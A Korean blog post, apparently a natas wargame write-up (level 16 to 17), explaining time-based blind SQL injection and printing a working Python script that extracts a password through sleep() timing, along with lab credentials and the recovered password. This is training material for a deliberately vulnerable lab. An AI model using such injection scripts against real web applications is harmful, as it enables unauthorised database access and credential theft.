본문 바로가기
워게임/natas

[natas - WEB hacking] level16 -> leve17

by B T Y 2017. 10. 8.
반응형

[natas - WEB hacking] level16 -> leve17





[ 풀이과정 ]


페이지를 접속해보니 username을 입력할수 있는 폼과 버튼이 있었다.

확인해보기 위해서 아무거나 입력해보니 아무내용도 출력이 되지 않았다...





페이지 소스를 확인해보니 해당 검색 결과를 출력해주는 코드가 주석 처리 되어있었다..


결과를 출력 해주는 echo 구문이 주석처리 되어있기 때문에 여기서는 time based SQL injection을 해야한다.

SQL에서 sleep()을 이용하면 되는데 해당 sleep() 명령이 실행 됬다는걸 판단하기 위해서

time 모듈을 사용해 sleep() 실행시간을 구해서 판단했다.


time.time()을 이용해서 끝나는 시간에서 시작 시간을 빼주고 sleep() 시간을 구해줬다.


time 모듈을 이용한 자동화 프로그램을 만들어서 해당 sleep()만큼 이후에 응답을 받았다면

sleep()이 실행된걸로 판단하고 패스워드를 구하게 된다...





xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP



natas17.py



import socket

import time


for i in range(1, 33):

    ch = 48


    for ch in range(48, 123):

        if 58 <= ch <= 64: continue

        if 91 <= ch <= 96: continue

        if ch > 123: break

        

        sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

        sock.connect( ('176.9.9.172', 80) )


        request_header = "GET /"

        request_header += "?username=natas18%22%20and%20ord(mid((select%20password),"

        request_header += str(i)

        request_header += ",1))%20%3d%20" + str(ch) + "%20and%20sleep(5)%20%23"

        request_header += " HTTP/1.1\r\n"

        request_header += "Authorization:Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"

        request_header += "Host:natas17.natas.labs.overthewire.org\r\n"

        request_header += "\r\n"


        start = time.time()

        

        sock.send( request_header.encode() )

        response = sock.recv( 65535 ).decode()

        end = time.time() - start


        if int(end) == 5:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1

        sock.close()


반응형

댓글